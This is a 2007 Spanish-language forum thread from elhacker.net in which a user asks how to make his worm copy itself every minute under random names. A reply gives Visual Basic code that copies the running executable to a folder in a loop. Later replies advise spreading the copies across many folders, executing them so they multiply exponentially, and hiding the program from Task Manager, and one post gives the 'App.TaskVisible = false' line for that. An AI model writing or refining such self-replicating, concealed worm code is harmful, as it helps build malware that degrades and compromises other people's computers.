Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: xhc en 23 Noviembre 2007, 16:23 pm



Título: Autocopiarse cada minuto
Publicado por: xhc en 23 Noviembre 2007, 16:23 pm
Hola, como puedo hacer para que mi worm se copie cada minuto con nombres aleatorios


Título: Re: Autocopiarse cada minuto
Publicado por: Karcrack en 23 Noviembre 2007, 17:36 pm
Código
  1. Private Declare Function GetTickCount& Lib "kernel32" ()
  2. Sub main()
  3.    Infectar
  4. End Sub
  5.  
  6. Public Function Infectar()
  7.    Dim Yo As String, Ruta As String
  8.    Yo = App.Path & "\" & App.EXEName & ".exe"
  9.    Ruta = "C:\CARPETA\RUTA\QUE\QUIERAS"
  10.    FileCopy Yo, Ruta & "\" & Aleatorio & ".exe"
  11.    Esperar (1000)
  12. End Function
  13.  
  14. Public Function Esperar(Time As Long)
  15.    tmp As Long
  16.    tmp = Time + GetTickCount&
  17.    While tmp >= GetTickCount&
  18.        DoEvents
  19.    Wend
  20.    Infectar
  21. End Function
  22.  
  23. Private Function Aleatorio() As Long
  24.    Randomize
  25.    Aleatorio = CLng((100000 - 999999) * Rnd + 999999)
  26. End Function

Que lo disfrutes....
Pero deberias haverlo hecho tu :¬¬
PD: Si no entiendes algo pregunta.


Título: Re: Autocopiarse cada minuto
Publicado por: byebye en 23 Noviembre 2007, 19:55 pm
copiarse cade minuto....... un programa por ejemplo de 1 mb y un ordenador encendido  algun tiempo puede hacer sospechar a cualquiera que algo raro pasa.


Título: Re: Autocopiarse cada minuto
Publicado por: xhc en 25 Noviembre 2007, 14:23 pm
bueno lo unico que no entiendo es lo de esperar :-\


Título: Re: Autocopiarse cada minuto
Publicado por: ~~ en 25 Noviembre 2007, 17:31 pm
Pues para esperar un minuto usa un timer. Si necesitas esperar mas tiempo del q alcanza el intervalo del timer pues usas un contador. Lo explico en pocas palabras por q con esta ya lo e debido de explicar como 1000 veces, busca por el foro, q ya esta muy dicho....


Título: Re: Autocopiarse cada minuto
Publicado por: xhc en 25 Noviembre 2007, 20:39 pm
lo de poner un timer si lo sabia pero no esta funcion :

Código:
Public Function Esperar(Time As Long)
    tmp As Long
    tmp = Time + GetTickCount&
    While tmp >= GetTickCount&
        DoEvents
    Wend
    Infectar
End Function


Título: Re: Autocopiarse cada minuto
Publicado por: Karcrack en 26 Noviembre 2007, 17:09 pm
lo de poner un timer si lo sabia pero no esta funcion :

Código:
Public Function Esperar(Time As Long)
    tmp As Long
    tmp = Time + GetTickCount&
    While tmp >= GetTickCount&
        DoEvents
    Wend
    Infectar
End Function


-->VAGO!!! (http://www.recursosvisualbasic.com.ar/htm/listado-api/api-51-sleep.htm)<--

PD: Te he dado un link :)


Título: Re: Autocopiarse cada minuto
Publicado por: black_jjk en 11 Diciembre 2007, 01:34 am
La verdad se me hace poco ingenioso el código, si lo que quieres es que cada minuto se copie lo del timer esta bien pero deberias probar cambiar el nombre del archivo con algo más ingenioso por ejemplo usar una combinación de carácteres y números en lugar de solo números, además de probar una matríz para los nombres de la carpeta, para que así se autocopie en diferentes carpetas en lugar de solo una en específico, además de crear una lista con la ubicación más de uno de los nuevos gusanos, para que así se puedan ejecutar estos o mejor aun hacer que se ejecuten a tráves de una instrucción, de esa manera la cantidad de archivos se multiplica exponencialmente.
por último te recomiendo que crees un programa que controle al gusanito para que no se ejecute más de n cantidad de veces al mismo tiempo y agregale una instrucción para que no aparezca en la ventana de "Administrador de Tareas".

Creo que con la ayuda que te dieron es suficiente para que lo desarrolles tu, yo solo opino que hay que tener un poco más de imaginación, pero eso es cosa de cada quien, si necesitas ayuda con tu código postealo y luego lo reviso.


Título: Re: Autocopiarse cada minuto
Publicado por: xhc en 11 Diciembre 2007, 16:16 pm
pero solo es una funcion "secundaria", no creo que se de cuenta de la carpeta donde se copian. Estaba haciendo un worm perohace poco se me jodio el sector de arranque y se me borro, ahora estoy volviendo a hacer uno, en que acabe los examenes y tenga tiempo lo hare, posteare el codigo si queris

saludos :D


Título: Re: Autocopiarse cada minuto
Publicado por: jetrel en 12 Diciembre 2007, 09:38 am
que instruccion hay que poner para que no aparezca en la ventana de "Administrador de Tareas"?
gracias


Título: Re: Autocopiarse cada minuto
Publicado por: xhc en 12 Diciembre 2007, 14:45 pm
en las propiedades del form, cambias "ShowInTaskbar" a false
o en codigo
Código:
app.taskvisible = false